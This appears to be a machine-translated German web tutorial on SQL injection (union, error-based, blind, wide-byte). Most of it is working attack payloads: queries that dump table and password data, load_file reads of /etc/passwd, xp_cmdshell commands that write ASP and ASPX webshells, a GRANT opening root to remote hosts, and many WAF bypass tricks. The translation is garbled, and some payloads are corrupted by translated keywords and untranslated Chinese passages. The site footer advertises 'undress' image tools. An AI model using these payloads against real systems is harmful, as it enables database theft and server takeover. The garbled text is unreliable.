Inhaltsverzeichnis
Vorwort
Explizite Injektion
Fehlerinjektion
Blinde Injektion
Heim Betrieb und Instandhaltung Sicherheit Welche Arten der SQL-Injection gibt es?

Welche Arten der SQL-Injection gibt es?

May 18, 2023 pm 10:05 PM
sql

Vorwort

Die Angriffsmethoden der SQL-Injection können je nach Anwendung, die den von der Datenbank zurückgegebenen Inhalt verarbeitet, in explizite Injektion, Fehlerinjektion und blinde Injektion unterteilt werden.

Explizite Injektion

Der Angreifer kann den gewünschten Inhalt direkt im aktuellen Schnittstelleninhalt abrufen.

Fehlerinjektion

Die Ergebnisse der Datenbankabfrage werden nicht auf der Seite angezeigt, aber die Anwendung druckt die Datenbankfehlerinformationen auf die Seite, sodass der Angreifer eine Datenbankfehleranweisung erstellen und den gewünschten Inhalt aus den Fehlerinformationen erhalten kann . .

Blinde Injektion

Die Ergebnisse der Datenbankabfrage können nicht von der intuitiven Seite abgerufen werden. Der Angreifer erhält den gewünschten Inhalt, indem er die Datenbanklogik verwendet oder die Ausführung der Datenbankbibliothek verzögert. Manuelle MySQL-Injektion reee

4.geometrycollection ( )

?id=1' order by 4--+

?id=0' union select 1,2,3,database()--+

?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+

group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

?id=0' union select 1,2,3,group_concat(password) from users --+

group_concat 可替换为 concat_ws(',',id,users,password )

?id=0' union select 1,2,3,password from users limit 0,1--+
Nach dem Login kopieren
5.multipoint()
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);
Nach dem Login kopieren
6.polygon()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
Nach dem Login kopieren
7.multipolygon()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
Nach dem Login kopieren

8.linestring()

select \* from test where id=1 and geometrycollection((select \* from(select \* from(select user())a)b));
Nach dem Login kopieren
9.multilinestring()
select \* from test where id=1 and multipoint((select \* from(select \* from(select user())a)b));
Nach dem Login kopieren
10.exp()

select \* from test where id=1 and polygon((select \* from(select \* from(select user())a)b));
Nach dem Login kopieren

Zeitblinde Injektion

Häufig verwendete Funktion sleep()

Split-Funktion substr, substring, left

Nach dem Codieren der Split-Funktion sind keine Anführungszeichen mehr erforderlich, ascii() hex()

Wir müssen es noch tun Verwenden Sie es für die Blindinjektion in allgemeiner Zeit. Bedingte Beurteilungsfunktion

if (expre1, expre2, expre3)

Wenn expre1 wahr ist, geben Sie expre2 zurück, wenn falsch, geben Sie expre3 zurück

select \* from test where id=1 and multipolygon((select \* from(select \* from(select user())a)b));
Nach dem Login kopieren

Boolesche Blindinjektion

select \* from test where id=1 and linestring((select \* from(select \* from(select user())a)b));
Nach dem Login kopieren
Diese Injektion wird angezeigt In der Registrierung, im IP-Header, in Message Boards und an anderen Stellen, an denen Daten geschrieben werden müssen, wie z. B. die Verwendung von SQLMAP, wird eine Menge Mülldaten erzeugt. Testeinfügungen, Anführungszeichen, doppelte Anführungszeichen und Escape-Zeichen verhindern, dass die Aussage erfolgt Wird normal ausgeführt. Wenn das Einfügen fehlschlägt, schlägt die Aktualisierung fehl und geht dann tief in die Tiefe. Testen Sie, ob eine Injektion vorliegt Hexadezimale Kodierung, so dass es keine einfachen Anführungszeichen gibt

Wide-Byte-Injection:

Einfache Anführungszeichen werden als ' maskiert, MySQL kodiert es als %5c, was ein chinesisches Zeichen darstellt, daher wird %df hinzugefügt bis %5c wird zu einem chinesischen Schriftzeichen „Operation“ und umgeht dadurch die Escape-Funktion reee

Manuelle SQL-Injektion

Beurteilen Sie, ob der Injektionspunkt vorhanden ist.

Digitale Injektion Der Injektionspunkt existiertBeispiel:

http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück

http://www.xxx.cn/news.php?p= 1&id=4 und 1=1 geben korrekt zurück ' und 1=1 und '1'='1

' und 1=2 und '1'='1

http://www.xxx.cn/news.php?p=1&id=4' gibt einen Fehler zurück

http://www.xxx.cn/ news.php?p=1&id=4' und 1=1 und '1'='1 gibt korrekt zurück

http://www.xxx.cn/news.php ?p=1&id=4' und 1=2 und '1'='1 gibt den Fehler

Suchinjektion


Geben Sie ' in das Eingabefeld zurück gibt den Fehler
x%' und 1=1 und '% zurück '=' gibt korrekt

x%' und 1 =2 und '%'=' gibt einen Fehler zurück

Judg-Feldnummer

Zahlentyphttp://www.xxx.cn/news.php?p=1&id= 4 Bestellung nach 26 Rückgabe korrekt

http:// www.xxx.cn/news.php?p=1&id=4 Bestellung nach 27 Rückgabe FehlerSchlussfolgerung: Feld Nummer 26.

Zeichentyphttp://www.xxx.cn/news.php?p=1&id=4' Reihenfolge nach 26 # Rückgabe korrekthttp://www.xxx.cn/news.php?p= 1&id=4' order by 27 # Rückgabefehler

Fazit: Feldnummer 26.

Suchtyp

x%' Reihenfolge nach 26 # Richtig zurückgeben

x%' Reihenfolge nach 27 # Fehler zurückgeben

Fazit: Feld Nummer 26.

Suche nach anzeigbaren Feldern

numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,3,4,5,6,7, 8,9,....

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,3,4,5, 6,7,8,9,.... #

Suchtyp

x%' und 1=2 Union wählen 1,2,3,4,5,6,7,8,9,.... #Überprüfen Sie den Datenbanknamen

numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,2,database(),4,5 , 6,7,8,9,....

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,2,Datenbank ( ),4,5,6,7,8,9,.... #

Suchtyp

x%' und 1=2 Union Select 1,2,database(),4,5,6,7 , 8,9,.... #

Überprüfen Sie den Tabellennamen in der Datenbank

numerisch

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1, group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname'

Der Datenbankname kann auch hexadezimal sein

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(table_name),3 ,4 ,5,6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.tables, wobei table_schema='Datenbankname' #

Der Datenbankname kann auch hexadezimal gemacht werden

Suchtyp

Der Datenbankname kann auch hexadezimal sein
Der Spaltenname in der Nachschlagetabelle

numerisch

http://www.xxx.cn/news.php?p=1&id=4 und 1 =2 Union Select 1 ,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_name='table name '

The table Name kann auch hexadezimal verwendet werden

Zeichentyp

http://www.xxx.cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(column_name) ,3,4,5, 6,7,8,9,10,11,12,13,14,15,16,17 aus information_schema.columns, wobei table_name='table name' #

Tabellenname kann auch als Hexadezimal-Suchtyp

verwendet werden x%' und 1=2 Union Select 1,2,group_concat(column_name),4,5,6,7,8,9,.... from information_schema.columns where table_name= 'Table name' #

The table Name kann auch hexadezimal verwendet werden

Suchen Sie die Daten in der Tabelle
Numerischer Typ

http://www.xxx.cn/news.php?p=1&id=4 und 1=2 Union Select 1,group_concat( Benutzername, Passwort),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 aus Tabellenname

Zeichentyp

http://www.xxx .cn/news.php?p=1&id=4' und 1=2 Union Select 1,group_concat(username,password),3,4,5,6,7,8,9 ,10,11,12,13, 14,15,16,17 aus Tabellenname#

Suchtyp

x%' und 1=2 Union Select 1,2,group_concat(username,password),4,5, 6,7,8,9,. ... aus Tabellenname#

Version anzeigen: Version auswählen();

Zeichensatz anzeigen: @@character_set_database auswählen;

Datenbanken anzeigen Datenbanken anzeigen;

Tabellennamen anzeigen: Tabellen anzeigen;

Computernamen anzeigen: select @@hostname;

Systemversion anzeigen: @@version_compile_os auswählen;

MySQL-Pfad anzeigen: @@basedir auswählen;

Datenbankpfad anzeigen: @@datadir auswählen;

Root-Passwort anzeigen: Benutzer, Passwort aus MySQL auswählen .user;

Externe Verbindung öffnen: GEWÄHREN SIE ALLE PRIVILEGIEN AUF . TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;

MySQL-Funktionsnutzung


MySQL bietet die Funktion „load_file()“, mit der Benutzer Dateien schnell lesen können. Der Dateispeicherort muss sich jedoch auf dem Server befinden, der Dateipfad muss ein absoluter Pfad sein und Root-Berechtigungen sind erforderlich

Die SQL-Anweisung lautet wie folgt: Union Select 1,load_file('/etc/passwd') ,3,4 ,5 #

Normalerweise erlauben einige Anti-Injection-Anweisungen das Auftreten von einfachen Anführungszeichen nicht, daher können Sie die folgende Anweisung zur Umgehung verwenden:

union select 1,load_file(0x272F6574632F70617373776427),3,4,5 #

Ja Der Pfad wird in Hexadezimal umgewandelt.

Manuelle MSSQL-Injection
Im Gegensatz zur SQL-Injection nutzt SQL die angezeigten Felder aus, und MSSQL nutzt die Fehlerinjektion aus, um schädliche SQL-Anweisungen einzufügen, damit die Abfrage Fehler meldet. In den gemeldeten Fehlern werden die erforderlichen Informationen angezeigt.

Einspritzpunkt:

www.xxx.cn/xxx/xxx.aspx?id=1

Datenbankversion abfragen
@@version: globale MSSQL-Variable, die Informationen zur Datenbankversion angibt.

Testanweisung:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und @@version>0

Hinweis: „und @@vsersion>0“ kann auch geschrieben werden als „ und 0" /@@version>0"

Fehlermeldung:

Der nvarchar-Wert ist „Microsoft SQL Server 2008 R2 (SP3) – 10.50.6000.34 (X64) 19. August 2014 12:21:34 Copyright (c) Microsoft Corporation Enterprise Edition (64-Bit) unter Windows NT 6.1

Grund:

@@version ist eine globale Variable von MSSQL. Wenn wir nach „?id=1“ „and @@version>0“ hinzufügen, lautet die Anweisung nach „and“ „@@version“. Capture wurde gezwungen, in den Typ „int“ zu wechseln und mit 0 verglichen, aber die Typkonvertierung schlug fehl, sodass die Datenbankinformationen offengelegt wurden.

Fragen Sie den Computernamen ab
@@Servername: Globale MSSQL-Variable, die den Computernamen darstellt.

Fehlermeldung:

Der Nvarchar-Wert „WINDOWS-XXXXXX“ konnte nicht in den Datentyp int konvertiert werden.

Fragen Sie den aktuellen Datenbanknamen ab
db_name(): Der aktuell verwendete Datenbankname.

Fehlermeldung:

Der Nvarchar-Wert „abc“ konnte nicht in den Datentyp int konvertiert werden.

Fragen Sie den Benutzer ab, der derzeit mit der Datenbank verbunden ist.
User_Name(): Der Benutzer, der derzeit mit der Datenbank verbunden ist.

Fehlermeldung:

Der Nvarchar-Wert „dbo“ konnte nicht in den Datentyp int konvertiert werden.

Hinweis: Wenn Sie dbo sehen, verfügen die meisten aktuellen Datenbankbenutzer über DBA-Berechtigungen.

Andere Datenbanknamen abfragen
Andere Datenbanken auflösen:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases)>0

Fehlermeldung:

Fehler beim Konvertieren des Nvarchar-Werts „master“ in den Datentyp int.

Die anderen Datenbanken sind wie folgt geschrieben:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master ' ))>0

Wenn Sie fortfahren, schreiben Sie so:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','abc'))>0
Fragen Sie den Tabellennamen in der Datenbank ab

Überprüfen Sie den Tabellennamen:

http://www.xxx.cn/xxx/xxx.aspx ?id= 1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' UND is_ms_shipped=0)>0

Fehlermeldung:

Der Nvarchar-Wert „depart“ konnte nicht in den Datentyp int konvertiert werden.

Erkunden Sie andere Tabellen:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys.all_objects aus, wobei type='U' AND is_ms_shipped=0 und Name nicht in ('depart'))>0

Weiter:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den Top-1-Namen aus abc.sys aus. all_objects where type='U' AND is_ms_shipped=0 and name not in ('depart','worker'))>0
Fragen Sie den Spaltennamen oder Feldnamen in der Tabelle ab

Überprüfen Sie den Feldnamen:

http : //www.xxx.cn/xxx/xxx.aspx?id=1 and (select top 1 COLUMN_NAME from abc.information_schema.columns where TABLE_NAME='depart')>0

Fehlermeldung:

In nvarchar Conversion of Wert 'ID' zum Datentyp int fehlgeschlagen.

Erkunden Sie andere Felder:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie Top 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME='depart' und COLUMN_NAME nicht in('ID'))>0

Weiter:

http://www.xxx.cn/xxx/xxx.aspx?id=1 und (wählen Sie den obersten 1 COLUMN_NAME aus abc.information_schema.columns aus, wobei TABLE_NAME= 'depart' und COLUMN_NAME nicht in ('ID','NAME'))>0
Explosive Daten

Abfragedaten:

http://www.xxx.cn/xxx/xxx.aspx? 1 und (wählen Sie das Top-1-Passwort von Depart aus)>0

Fehlermeldung:

Der Nvarchar-Wert „B5A1EF8730200F93E50F4F5DEBBCAC0B“ konnte nicht in den Datentyp int konvertiert werden.
Schreiben Sie einen Satz-Trojaner

Wenn die Datenberechtigung dba ist und den absoluten Pfad der Website kennen, können wir diese Anweisung verwenden, um einen Satz-Trojaner zu schreiben:

asp-Trojaner:

http://www .xxx .cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE=VBSCRIPT %>;<%eval request(chr(35))%>'' " > ; d:KfSitekaifeng2.asp'--

aspx Trojaner:

http://www.xxx.cn/xxx/xxx.aspx?id=1;exec master..xp_cmdshell 'echo "<%@ LANGUAGE= Jscript %>;<%eval(Request("sb"),"unsafe")%>''" >C:inetpubwwwroot2.aspx' --

Das Prinzip ist, dass SQL Server gestapelte Abfragen unterstützt xp_cmdshell kann den Befehl cmd ausführen. Verwenden Sie [echo content>file] im Befehl cmd, um Dateien auf die Festplatte zu schreiben.
Verwenden Sie die Hex-Kodierung, um WAF zu umgehen

http://www.xxx.com/xxx/xxx.aspx?username=xxx Verwenden Sie „HEX-Kodierung“ unter „Kodierung“ des Hackbar-Tools in Firefox, um die Zeichenfolge einfach in Sie zu kodieren hex, und verwenden Sie dann die Fehlerinjektion, um sie in diese Website einzuschleusen.
Explodieren Sie die Datenbankversion.

Wählen Sie „convert(int,@@version)“ aus Folgende Methode zum Injizieren:

http://www.xxx.com/xxx/xxx .aspx? username=xxx';dEcLaRe @s vArChAr(8000) sEt @s=0x73656c65637420636f6e7665727428696e742c404076657273696f6e29 eXeC(@s)–

Fehlermeldung:

Im Nvar-Char-Wert „Microsoft SQL Server 2008 R2 (RTM) – 10,50. 1600.1 (X64) 2. April 2010 15:48:46 Copyright (c) Microsoft CorporationStandard Edition (64-Bit) unter Windows NT 6.1 (Build 7601: Service Pack 1) (Hypervisor)' Konvertierung in den Datentyp int fehlgeschlagen.

Achten Sie auf die folgende Injektionsanweisung:

dEcLaRe @s vArChAr(8000) //Deklarieren Sie eine lokale Variable @s, Typ ist varchar(8000)

sEt. @s=0x73656c65637420636f6e7665727428696e742c404 07665727 3696f6e29 //Weisen Sie @s einen Wert zu , „select konvertieren (int,@@version)“ Hexadezimalkodierung

eXeC(@s) //Rufen Sie die Funktion exec() auf, um den Inhalt in „@s“ auszuführen.

Explodieren Sie die aktuelle Datenbank.


select konvertieren (int,db_name())Explodieren Sie den aktuellen Benutzer 1 Name aus abc[Datenbankname].sys.all_objects, wobei Typ='U' UND is_ms_shipped=0)) select Convert(int,(wählen Sie den ersten 1 Namen aus abc[Datenbankname].sys.all_objects aus, wobei Typ='U' AND is_ms_shipped=0 und Name nicht in ('CMS_ArticleClass')))

Explosionsfeld

select konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname].information_schema.columns aus, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]')) wählen Sie konvertieren(int,(wählen Sie den obersten 1 Spaltennamen aus abc[Datenbankname] aus. information_schema.columns, wobei TABLE_NAME='CMS_Userinfo[Tabellenname]' und COLUMN_NAME nicht in ('id')))
Explosive Daten

select convert(int,(select top 1 username from CMS_Admin)) select convert(int, (Wählen Sie das Top-1-Passwort aus CMS_Admin aus.) (www.test.com/xsn.php?id=12+1)
Nein, denn das Pluszeichen bedeutet ein Leerzeichen in der URL.

2. Wissen Sie, wie viele Anmerkungen es in MySQL gibt?

Drei Typen: ①.# Dieser Kommentar ist bis zum Ende der Zeile; ②./Kommentiert mehrere Zeilen/; ③.–+ Dieser Kommentar ist bis zum Ende der Zeile.

Die dritte Methode bedarf einer Erklärung, da ich mit dieser Schreibweise bisher nicht vertraut bin. Obwohl ich immer noch einige Eindrücke von „-“ als Kommentarzeichen habe, bereitet mir „-+“ Kopfschmerzen. Tatsächlich ist es -, bitte beachten Sie, dass nach - ein Leerzeichen steht. Wenn Sie Leerzeichen direkt in die URL eingeben, ignoriert der Browser diese automatisch und übergibt sie nicht an die Datenbank. Deshalb habe ich es gezielt durch ein Pluszeichen ersetzt.

3. Kann „select * from admin“ ausgeführt werden? Wenn nicht, erklären Sie es bitte.

Kann nicht ausgeführt werden, wenn Sie eine ausgewählte Doppelschicht verwenden, müssen Sie die zweite einschließen, sonst ist sie ungültig.

Wenn Leerzeichen herausgefiltert werden, wissen Sie, wie Sie dies umgehen können? Oder wissen Sie, welche Zeichen Leerzeichen ersetzen können? Diese Zeichen werden Leerzeichen genannt. Beispielsweise wird un%0aion als Union behandelt. Wenn die Leerzeichen gefiltert werden, lautet die mögliche SQL-Anweisung: Wählen Sie aus Nachrichten aus, bei denen uid=45 oder 1=1 ist. Wir können // verwenden, um die Leerzeichen zu ersetzen: http://www.xxx.com/index.php?id= 45 //oder/**/1=1 Zusätzlich: %09 %0A %0D + /|–|/ /@–|/ /?–|/ /|%20–%20|/ kann Leerzeichen ersetzen.

5.Welche Berechtigungen hat die Oracle-Datenbank unter Windows? Die Oracle-Datenbank unter Windows muss mit Systemberechtigungen ausgeführt werden.

6. Was ist der Unterschied zwischen SQL-Injection und blinder SQL-Injection?

Bei der regulären SQL-Injection gibt die Anwendung die Daten in der Datenbank zurück und präsentiert sie Ihnen, aber bei der Schwachstelle der blinden SQL-Injection können Sie nur zwei verschiedene Antworten erhalten, die den wahren und falschen Bedingungen in der Injektion und der Anwendung entsprechen Für wahre und falsche Bedingungen werden unterschiedliche Werte zurückgegeben, die Abfrageergebnisse können jedoch von einem Angreifer nicht abgerufen werden.

7. Was sind die Hauptursachen für SQL-Injection-Schwachstellen?

Unzureichende Überprüfung der vom Benutzer bereitgestellten Daten durch Webanwendungen und mangelnde Codierung der Ausgabe sind die Hauptursachen für Probleme.

8. Was ist eine gestapelte Abfrage?

In einer einzelnen Datenbankverbindung werden mehrere Abfragesequenzen ausgeführt, und ob gestapelte Abfragen zulässig sind, ist einer der wichtigen Faktoren, die sich darauf auswirken, ob SQL-Injection-Schwachstellen ausgenutzt werden können.

In MYSQL können SELECT * FROM-Mitglieder ausgeführt werden. Die Datenbank unterstützt gestapelte Abfragen, es ist jedoch möglicherweise nicht möglich, PHP die SQL-Anweisungen gestapelter Abfragen ausführen zu lassen.

/* ...*/

Was bedeutet das?

Besonders bei MYSQL-Datenbanken: Wenn Sie am Anfang des Kommentars ein Ausrufezeichen gefolgt von der Datenbankversionsnummer hinzufügen, wird der Kommentar in Code geparst, solange die Datenbankversion höher oder gleich der enthaltenen Version ist Im Kommentar wird der Code implementiert.

select 1 /!40119 + 1/

Die Abfrageergebnisse:

gibt 2 zurück (MySQL-Version ist 4.01.19 oder höher)

gibt 1 zurück (andere Fälle)

10. Wenn das '= in der Injektionsanweisung „Gefiltert?“

Sie können die Verwendung des Schlüsselwortersatzes „Gefällt mir“ in Betracht ziehen: „Union Select Password“ von Benutzern, wobei der Benutzername „Admin“ lautet.

11 Was passiert, wenn Leerzeichen gefiltert werden? Sie können die Verwendung von „/**/'Ersatz:

union/

/select/

/password/

/from/

/users/

/where//username//like//admin; Beachten Sie, dass In MySQL, dies kann auch umgangen werden, indem Inline-Kommentare innerhalb von Schlüsselwörtern verwendet werden: uni//on//sel//ect//password//fr//om//users//wh//ere// username//like //admin;

12. '+' in SQL-Injection?

MSSQL: In MSSQL wird der „+“-Operator für Zeichenfolgenverkettungen und Additionsoperationen verwendet, „1“+„1“=„11“, 1+1=2.

MySQL: „Das „+““ Operator wird nur für Additionsoperationen verwendet, '1'+'1'='2', 1+1=2,

Oracle: In Oracle wird der Operator "+" nur für Additionsoperationen verwendet, '1'+'; 1'='2', 1+1=2.

13. Verkettung von Zeichenfolgen in der Datenbank?

MSSQL: 'a'+'b'='ab'

MYSQL: 'a' 'b'='ab'

Oracle: 'a'||'b'='ab'

14 Symbole

MSSQL: '-- ' (beachten Sie das Leerzeichen danach), '/.../'

MySQL: '-- ','# ','/.../', beachten Sie, dass -- sein muss gefolgt Es müssen ein oder mehrere Leerzeichen vorhanden sein.

Oracle: '-- ','/.../'

In den drei Datenbanken ist das gemeinsame Kommentarzeichen '-- '

WAF-Umgehung

Umgehung auf Regelebene
SQL-Kommentarzeichen-Umgehung
union/**/selectunion/aaaa%01bbs/select

union/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/select

Inline-Kommentare: /!xxxx/

Leerraumumgehung:

“ in Betracht ziehen

MySQL空白符:%90,%0A,%0B,%0D,%20,%0C,%A0,/xxx/

正则的空白符:%09,%0A,%0B,%0D,%20

Example-1:union%250Cselect

Example-1:union%25A0select
函数分隔符号:

concat%2520(

concat/**/(

concat%250c(

concat%25a0(
浮点数词法分析:

select * from users where id=8E0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=8.0union select

1,2,3,4,5,6,7,8,9,0

select * from users where id=\Nunion select

1,2,3,4,5,6,7,8,9,0
利用error_based进行SQL注入:

Error-based SQL注入函数非常容易被忽略

extractvalue(1,concat(0x5c,md5(3)));

updatexml(1,concat(0x5d,md5(3)),1);

GeometryCollection((select * from (select * from

(select@@version)f)x))

polygon((select*from (select name_const(version(),1))x))

linestring()

multipoint()

multilinestring()

multipolygon()
Nach dem Login kopieren

MySQL特殊语法

select{x table_name}from{x information_schema.tables};
每一个点都能找到绕过的方法

以注释绕过为例子,开始Fuzz

注释符绕过:

*先测试最基本的: union/**/select

*再测试中间引入特殊字:union/aaaa%01bbs/select

*最后测试注释长度:union/aaaaaaaaaaaaaaaaaaaaaaa/select

最基本的模式:

union/something/select

大小写绕过

即使在程序中设置了过滤关键字,但由于过滤过程中没有深入分析组成关键字的部分,所以只能对整体进行过滤。

例如:and过滤。当然这种过滤只是发现关键字出现,并不会对关键字处理。可以通过修改关键字的内字母大小写来绕过过滤措施。
常规绕过手段
双写绕过

如果在程序中设置遇到关键字时将其替换为一个空字符串,那么将不会发生SQL注入攻击。对于这样的过滤策略可以使用双写绕过。因为在过滤过程中只进行了一次替换。

例如:过滤了union 只要发现union 无论大小写都会被替换为空。这是就可以通过双写uniunionon的写法来对过滤进行绕过。
编码绕过

可以利用网络中的URl在线编码,绕过SQL注入的过滤机制。

http://tool.chinaz.com/Tools/urlencode.aspx 1
内联注释绕过

在Mysql中内容注释中的内容可以被当做SQL语句执行。
绕过过滤and和or的SQL注入

Mysql一些特性:

1、Mysql中的大小写不敏感,大写和小写一样。

2、Mysql中的十六进制与URL编码。

3、符号和关键字替换 and --> &&、or --> ||

4、内联注释与多行注释 /!内联注释/ /多行注释/。

5、Mysql中会自动识别URL与Hex编码好的内容。

绕过策略:

1、大小写变形,or,OR,oR,Or,and,And,AND,aND等。

2、在这两个敏感词汇中添加注释,例如:a/**/and 双写:oorr

3、利用符号替代 and–>&&、or–>||
绕过去除空格的SQL注入

编码:hex,urlencode

空格URL编码:

%0a 新建一行

%0c 新的一页

%0d return功能

%0b TAB键(垂直)

Sqlmap安全检测:

sqlmap -u “URL” --hex --dbs --batch
绕过去除(union和select)的SQL注入

编码%0a、加入/**/符,union/select大小写、双写等绕过。

Das obige ist der detaillierte Inhalt vonWelche Arten der SQL-Injection gibt es?. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Chat -Befehle und wie man sie benutzt
1 Monate vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

Was ist der Unterschied zwischen HQL und SQL im Hibernate-Framework? Was ist der Unterschied zwischen HQL und SQL im Hibernate-Framework? Apr 17, 2024 pm 02:57 PM

HQL und SQL werden im Hibernate-Framework verglichen: HQL (1. Objektorientierte Syntax, 2. Datenbankunabhängige Abfragen, 3. Typsicherheit), während SQL die Datenbank direkt betreibt (1. Datenbankunabhängige Standards, 2. Komplexe ausführbare Datei). Abfragen und Datenmanipulation).

Verwendung der Divisionsoperation in Oracle SQL Verwendung der Divisionsoperation in Oracle SQL Mar 10, 2024 pm 03:06 PM

„Verwendung der Divisionsoperation in OracleSQL“ In OracleSQL ist die Divisionsoperation eine der häufigsten mathematischen Operationen. Während der Datenabfrage und -verarbeitung können uns Divisionsoperationen dabei helfen, das Verhältnis zwischen Feldern zu berechnen oder die logische Beziehung zwischen bestimmten Werten abzuleiten. In diesem Artikel wird die Verwendung der Divisionsoperation in OracleSQL vorgestellt und spezifische Codebeispiele bereitgestellt. 1. Zwei Arten von Divisionsoperationen in OracleSQL In OracleSQL können Divisionsoperationen auf zwei verschiedene Arten durchgeführt werden.

Vergleich und Unterschiede der SQL-Syntax zwischen Oracle und DB2 Vergleich und Unterschiede der SQL-Syntax zwischen Oracle und DB2 Mar 11, 2024 pm 12:09 PM

Oracle und DB2 sind zwei häufig verwendete relationale Datenbankverwaltungssysteme, die jeweils über ihre eigene, einzigartige SQL-Syntax und -Eigenschaften verfügen. In diesem Artikel werden die SQL-Syntax von Oracle und DB2 verglichen und unterschieden und spezifische Codebeispiele bereitgestellt. Datenbankverbindung Verwenden Sie in Oracle die folgende Anweisung, um eine Verbindung zur Datenbank herzustellen: CONNECTusername/password@database. In DB2 lautet die Anweisung zum Herstellen einer Verbindung zur Datenbank wie folgt: CONNECTTOdataba

Ausführliche Erläuterung der Funktion „Tag festlegen' in den dynamischen SQL-Tags von MyBatis Ausführliche Erläuterung der Funktion „Tag festlegen' in den dynamischen SQL-Tags von MyBatis Feb 26, 2024 pm 07:48 PM

Interpretation der dynamischen SQL-Tags von MyBatis: Detaillierte Erläuterung der Verwendung von Set-Tags. MyBatis ist ein hervorragendes Persistenzschicht-Framework. Es bietet eine Fülle dynamischer SQL-Tags und kann Datenbankoperationsanweisungen flexibel erstellen. Unter anderem wird das Set-Tag zum Generieren der SET-Klausel in der UPDATE-Anweisung verwendet, die sehr häufig bei Aktualisierungsvorgängen verwendet wird. In diesem Artikel wird die Verwendung des Set-Tags in MyBatis ausführlich erläutert und seine Funktionalität anhand spezifischer Codebeispiele demonstriert. Was ist Set-Tag? Set-Tag wird in MyBati verwendet

Was bedeutet das Identitätsattribut in SQL? Was bedeutet das Identitätsattribut in SQL? Feb 19, 2024 am 11:24 AM

Was ist Identität in SQL? In SQL ist Identität ein spezieller Datentyp, der zum Generieren automatisch inkrementierender Zahlen verwendet wird. Er wird häufig verwendet, um jede Datenzeile in einer Tabelle eindeutig zu identifizieren. Die Spalte „Identität“ wird oft in Verbindung mit der Primärschlüsselspalte verwendet, um sicherzustellen, dass jeder Datensatz eine eindeutige Kennung hat. In diesem Artikel wird die Verwendung von Identity detailliert beschrieben und es werden einige praktische Codebeispiele aufgeführt. Die grundlegende Möglichkeit, Identity zu verwenden, besteht darin, Identit beim Erstellen einer Tabelle zu verwenden.

